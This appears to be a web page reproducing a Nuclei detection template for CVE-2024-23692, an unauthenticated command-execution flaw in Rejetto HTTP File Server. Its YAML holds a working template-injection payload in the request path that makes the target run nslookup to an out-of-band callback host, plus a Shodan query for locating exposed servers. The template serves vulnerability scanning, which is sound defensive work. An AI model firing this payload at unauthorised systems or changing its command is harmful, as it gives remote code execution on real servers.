Rejetto HTTP File Server - Template injection

ID: CVE-2024-23692

Severity: critical

Author: johnk3r

Tags: cve,cve2024,hfs,rejetto,rce,kev

Description

This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.

YAML Source

id: CVE-2024-23692

info:
  name: Rejetto HTTP File Server - Template injection
  author: johnk3r
  severity: critical
  description: |
    This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.
  reference:
    - https://github.com/rapid7/metasploit-framework/pull/19240
    - https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23692
    cwe-id: CWE-1336
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"HttpFileServer httpd"
  tags: cve,cve2024,hfs,rejetto,rce,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "rejetto"
# digest: 4a0a004730450220266ebb0754936da88756f26dba560443b5632499e2647e69bbcba146e7dc9adb022100b97230c3427cb6ab00b086753698765249a715ed475a22b633ee2b284ef7aabd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-23692.yaml"

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